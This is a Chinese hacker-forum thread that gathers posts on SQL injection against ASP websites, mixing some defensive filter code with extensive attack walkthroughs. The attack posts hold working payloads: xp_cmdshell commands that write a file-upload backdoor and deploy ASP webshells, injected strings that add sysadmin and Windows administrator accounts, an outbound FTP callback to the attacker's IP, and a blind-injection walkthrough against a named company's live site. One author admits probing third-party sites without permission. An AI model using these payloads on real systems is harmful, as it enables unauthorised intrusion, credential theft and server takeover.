发新话题
打印

SQL注入专题(防范+攻击)全手册

sql注入防御
网站的噩梦——SQL注入

SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。

防御SQL注入妙法

第一步:下载SQL通用防注入系统的程序,在需要防范注入的页面头部用<!--# include file=”xxx.asp”-- >来防止别人进行手动注入测试。
可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点,然后只需几秒钟,你的管理员帐号及密码就会被分析出来。
第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员帐号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员帐号怎么变都无法逃过检测。
第三步:既然无法逃过检测,那我们就做两个帐号,一个是普通的管理员帐号,一个是防注入的帐号。为什么这么说呢?笔者想,如果找一个权限最大的帐号制造假象,吸引软件的检测,而这个帐号里的内容是大于千字以上的中文字符,就会迫使软件对这个帐号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
1、对表结构进行修改。将管理员的帐号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得大点,可以选择备注型),密码的字段也进行相同的设置。
2、对表进行修改。设置管理员权限的帐号放在ID1,并输入大量中文字符(最好大于100个字)。
3、把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
我们通过上面的三步完成了对数据库的修改。
这时是不是修改结束了呢?其实不然,要明白你做的ID1帐号其实也是真正有权限的帐号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登陆的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的帐号密码也会被挡住的,而真正的密码则可以不受限制。
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

终极防范SQL注入漏洞
终极防范SQL注入漏洞

其实SQL注入漏洞并不可怕,知道原理 + 耐心仔细,就可以彻底防范!

下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通。

注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象:

function killn(byval s1) &#39;过滤数值型参数
if not isnumeric(s1) then
killn=0
else
if s1<0 or s1>2147483647 then
killn=0
else
killn=clng(s1)
end if
end if
end function

function killc(byval s1) 过滤货币型参数
if not isnumeric(s1) then
killc=0
else
killc=formatnumber(s1,2,-1,0,0)
end if
end function

function killw(byval s1) &#39;过滤字符型参数
if len(s1)=0 then
killw=""
else
killw=trim(replace(s1,"&#39;",""))
end if
end function

function killbad(byval s1) 过滤所有危险字符,包括跨站脚本
If len(s1) = 0 then
killbad=""
else
killbad = trim(replace(replace(replace(replace
(replace(replace(replace(replace(s1,Chr(10), "<br>"),
Chr(34), """), ">", ">"), "<", "<"), "&", "&"),
chr(39),"&#39;"),chr(32)," "),chr(13),""))
end if
end function
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

SQL注入与ASP木马上传
SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
文件内容:
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)

objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行
<%Set objFSO = Server.CreateObject
("scripting.FileSystemObject"):
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)bjCountFile.Write request("mydata"):
objCountFile.Close%>

将特殊字符进行编码 就可以得到
%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22)bjCountFile.Close%25%3E

注入(这里假定web目录是C:\Inetpub\wwwroot\):
exec master..xp_cmdshell &#39;echo
"%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile
(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):
objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp&#39;;

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)
objCountFile.Write request
("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath 和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm 代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉鸡文件生成器--客户端 制作:绝对零度 QQ:12216796</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;
SCROLLBAR-FACE-COLOR: #eeeeee;
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
SCROLLBAR-SHADOW-COLOR: #dee3e7;
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc;
SCROLLBAR-ARROW-COLOR: #006699;
SCROLLBAR-TRACK-COLOR: #ededed;
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}


A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";
background-color: #f9f9f9;
font-size: 9pt ;
border: 1px #d2d2d2 dobble;
line-height:120%;
}

-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value==&#39;&#39;)
{
alert(&#39;请输入递交的地址!&#39;);
theform.ftpUrl.focus();
return false;
}
if(theform.MyPath.value==&#39;&#39;)
{
alert(&#39;请输入生成文件的位置!&#39;);
theform.MyPath.focus();
return false;
}
if(theform.MyData.value==&#39;&#39;)
{
alert(&#39;请输入生成文件的内容!&#39;);
theform.MyData.focus();
return false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post"
action="" onSubmit="return chk(this)" target="_blank">

<table width="673" border="0" align="center"
cellpadding="0" cellspacing="0">
<tr>
<td width="11%">目标位置:</td>
<td width="79%"><input name="ftpUrl"
type="text" id="ftpUrl" size="50">
例:http://127.0.0.1/FTP.ASP<;/td>
</tr>
<tr>
<td>生成文件:</td>
<td><input name="MyPath" type="text" id="MyPath">
将在服务器上,生成的文件路径。例:
C:\Inetpub\wwwroot\Server.asp </td>
</tr>
<tr>
<td valign="top">文件代码:</td>
<td><textarea name="MyData" cols="100"
rows="10" id="textarea"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="提交"></td>
</tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">版权所有:
XXXX(<a href=http://www.rxxx.com;>xx盟</a>)</td>
</tr>
</table>
</body>
</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址
http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:\Inetpub\wwwroot\Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

如何在SQL注入时保护数据库
SQL注入是防止数据库攻击的一个有效策略。攻击者将注入一个SQL语句到另外一个语句中,这个通常会损坏你的数据库。有数据库接口的Web站点通常在SQL注入的时候容易受到攻击,因为它们是基于动态的SQL;下面是一个简单的例子:

在一个ASP页面中会请求用户输入名字和密码,然后将下面的字符串发送到数据库中:

SELECT FROM users WHERE username =
’whatever’ AND password = ’mypassword’

这看起来很安全,实际上不是,一个用户可能会这样输入他的名字:

’ OR 1>0 –

当把这个输入到SQL语句中的时候,结果可能会象这样:

SELECT FROM users WHERE username
= ’’ OR 1>0 -- AND password = ’’

这个注入语言将通过语句暴露密码。这将导致所有的用户名都会在用户列表中,所以,任何用户都可以进入到你的系统中。

最简单阻止注入分类是分析SQL串并移动语句之前的任何“--”的发生。

同时,你要小心注入的时候含有分号,因为分号是给SQL语句分界。如果一个用户的名字是下面这个:

’ OR 1>0 ; DELETE Customers ; --

如果一个用户怀有恶意,那么他可以使用多种方法看穿你的系统,但是,最简单的方法就是避免动态的SQL,用存储过程来代替。使用SQL来遍历参数,注入上面所提到的将会产生进程错误,并且存储进程将不会被执行。
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

天晨设计整站SQL注入漏洞
先发点牢骚,刚刚了一个陌生的城市(上海),很容易找到了个公司上班了,那就是天晨,在他们公司我负责的是安全,在这里,我没天都是在检测安全,先是服务器,后是整站,呵呵,很清楚的记得,我上了八天班,在这八天里面,我都是认真很认真的去把没个漏洞,一个一个的补上,担心的事终于来到了,呵呵,不知道是我的问题还是其他原因公司经理找我了,呵呵说我XXXX原因,不能继续留在公司,呵呵意料之中,当天晚上回到了朋友家里,说真的以我以前的个性,他们公司的安全都是我做的,什么问题我应该很清楚,但我没那么做,也很奇怪的是,就在哪个时候服务器好象出了问题,呵呵,也许上天都在为我抱不平,好人做到底,发个Email给他们吧,安全还存在问题!今天的遭遇,我没怨过任何人,只能怪自己太傻!总结一下,自己真的太傻了!在这里只想说一句,朋友谢谢你送我的书,我不会忘记,但我也同时当着全网络的同行送你一句,做人要厚道!

最近在网络上看天晨设计整站的使用者也越来越多了,天晨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指天晨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪天晨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角啊?

一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交
http://***.com/view.asp?
action=art&art_id=70 and 1=1 返回。
再次输入
http://***.com/view.asp?
action=art&art_id=70%20and%201=2 返回
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。

二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊,NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.com/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin)
现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。

三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“天晨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社\会工程学的重要性啊)

废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.com/view.asp?
action=art&art_id=70%20and%201=(select%20count
(*)%20from%20admin%20where%20len(name)??0)
(*_*不是啊!不是NAME字段啊)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0)
(这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0)
信息回显正常对吧!?哈哈哈
说到这里整个猜解就差不多完场了!(什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“天晨”是管理员账号。我们就有两种可能性,一是天晨的拼音“tianchen或tinzn”,二是天晨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。然后再提交
http://fj126.com/view.asp?
action=art&art_id=70%20and%201
=(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)这下子页面可算是正常了!然后再次提交语句为
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)
这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社\会工程学得到的管理员账号为:tinzn是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!

四,总结
整个程序的SQL注入页面有几个,都是基于天晨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到本人BLOG或者发Email找我!
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

在写这篇文章的时候,我除了在本机建立asp+access、asp+sql server测试环境,还在××安全网站、××市人才网、××网络公司的网站上进行了部分测试,在此谨表示歉意!我是选择在凌晨2点~3点开始的测试,而且仅限于检索操作,所以可以肯定的说对贵站几乎没有什么影响,用1个小时流量略多换取我给你们的安全报告,我想不会太亏吧,呵呵!
1、bak文件泄漏asp源代码
很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过http://www.***.com/config.asp.bak来下载asp源程序。
可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置……
解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。
2、身份验证被绕过
一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过http://www.***.com/manage.asp直接进入管理界面。
解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入
以下内容为程序代码:

if session("login")<>"ok" then
response.redirect "login.asp"
end if


上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。
3、asp程序数据库密码验证漏洞
首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。
先来看login.asp文件
以下内容为程序代码:

……
<form action="verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
……


再来看verify.asp文件
以下内容为程序代码:

……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")

if name="" or pwd="" then
response.redirect "login.asp"
end if
……
&#39;关于身份验证
sql="select * from user where name=&#39;"&name&"&#39; and pwd=&#39;"&pwd&"&#39;"
……


不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
(1)我们在用户名位置输入【admin&#39; or 1=&#39;1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:

sql=select * from user where name=&#39;admin&#39; or 1=&#39;1&#39; and pwd=&#39;11&#39;

我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin&#39; --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:

sql=select * from user where name=&#39;admin&#39; --&#39; and pasword=&#39;11&#39;

同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin&#39;;exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin&#39;;exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin&#39;;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin&#39;;exec master.dbo.xp_cmdshell &#39;net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add&#39;;-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin&#39;;exec master.dbo.xp_cmdshell &#39;net localgroup administrators Cool /add&#39;;--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin&#39;;delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin&#39;;insert into user (name,pwd) values (&#39;cool&#39;,&#39;123456&#39;);--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin&#39;;update news set pwd=&#39;123456&#39; where name=&#39;admin&#39;;--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin&#39;;exec master.dbo.xp_cmdshell &#39;ftp *.*.*.*&#39;】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。
也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。
方法一:
a、打开网站页面http:\\www.***.com\login.asp,查看源文件,把提交表单部分
以下内容为程序代码:

<form action="verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>

拷贝出来,存到本机login.htm
b、修改action为http:\\www.***.com\verify.asp,即:
以下内容为程序代码:

<form action="http:\\www.***.com\verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>


注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。
c、修改maxlength,加大,再加大,要不就删除了!
d、从本地提交变量
方法二:
Cool.reg
9x用户:
以下内容为程序代码:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004


2k用户:
以下内容为程序代码:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004


Cool.htm
以下内容为程序代码:

<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=100
ele.size=100
end if
</script>


a、拷贝cool.reg的内容,保存,执行并确认。
b、拷贝cool.htm的内容,保存到指定位置,这里是c:\
c、打开网页http://www.***.com,在输入框位置点击右键,会看到“给我加大”一项,点击即可
当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。
好了,说了这么多恐怖的东东,来看看怎么防范。
(1)过滤提交数据;我们可以通过
以下内容为程序代码:

……
dim name,pwd
name=request.form("name")
name=replace(name,"&#39;","’") &#39;替换半角&#39;为全角&#39;
name=replace(exp1,"-","") &#39;替换-为空
name=replace(exp1,";","") &#39;替换;为空
……


或者
以下内容为程序代码:

……
dim name,pwd
name=request.form("name")
if InStr(name,"&#39;") or InStr(name,"-") or InStr(name,";") then
response.write("<script language=""JavaScript"">
alert(""error!"");history.go(-1);</script>")
response.end
end if
……


具体的过滤条件,或者替换还需要结合实际来使用。
(2)verify.asp文件本身验证的逻辑就是错误的,应该修改为:
以下内容为程序代码:

……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name=&#39;"&name&"&#39;"
rs.open sql,conn_data,1,1
&#39;身份验证过程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……


也就是说以用户名为条件检索数据库,用检索到的记录的密码与客户端输入的密码进行比较。
(3)对用户密码加密处理,网上有很多相关的加密过程,这里假定为encrypt(),则verify.asp就应该是
以下内容为程序代码:

……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name=&#39;"&name&"&#39;"
rs.open sql,conn_data,1,1
&#39;身份验证过程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then &#39;这里对输入的密码进行加密处理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……


(4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦!
(5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
(6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
a、在取数据的时候,只取有效长度内的数据。
以下内容为程序代码:

……
dim name,pwd
name=left(request.form("name"),20)
……


b、在服务器确认提交位置
login.asp
以下内容为程序代码:

……
<form action="verify.asp" method="post" name="login">
<input type="hidden" name="referer"
value="<%=Request.ServerVariables("HTTP_REFERER")%>">
<input type="hidden" name="ser_name"
value="<%=Request.ServerVariables("SERVER_NAME%>">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
……


这里传递了2个参数referer,ser_name
verify.asp
以下内容为程序代码:

……
dim referer,ser_name
&#39;取这2个参数
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
&#39;判断浏览器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……


这样,如果你不是在该网站提交的数据,就不能够顺利登陆。
(7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
4、网页传递参数不进行过滤处理
很多网站都存在这个问题,比如http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。
我们可以通过很简单的办法测试是否存在这个问题:
http://www.***.com/show.asp?id=50 and 1=1
如果页面显示正确,基本上可以断定它存在这个问题。
来看看攻击者能做写什么:
(1)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addlogin Cool;--
(2)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_password null,
123456,Cool;--
(3)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addsrvrolemember
Cool,sysadmin;--
(4)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell &#39;net
user Cool 123456 /add&#39;;--
(5)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell &#39;net
localgroup administrators Cool /add&#39;;--
只要是表单中能提交的,这里基本都可以提交。
(6)猜表名
http://www.***.com/show.asp?id=50 and
0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。
(7)猜字段名:
http://www.***.com/show.asp?id=50 and
0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。
(8)在获得tablename和fieldname以后,就可以更进一步了。
比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:
a、http://www.***.com/show.asp?id=50 and 0<>
(select count(*) from user where id>1000)
粗略判断用户数量
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
判断id为1的用户的用户名长度是否为10
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(name,n,1)=&#39;a&#39;)
判断id为1的用户的用户名的第n位是否为a
d、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
判断id为1的用户的密码长度是否为10
e、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(pwd,n,1)=&#39;a&#39;)
判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿!
当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了!
不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便!
另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社\会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing……
a、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
先确定用户名长度
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
再确定密码长度
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,1,1))<0)
判断用户名第一位是否为中文,如果是中文,一般都是负的好多
如果不是,一般范围都在27~126之间,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>60)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<100)
来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。
如果是中文,应该小于-32,768,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>-30000)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<-10000)
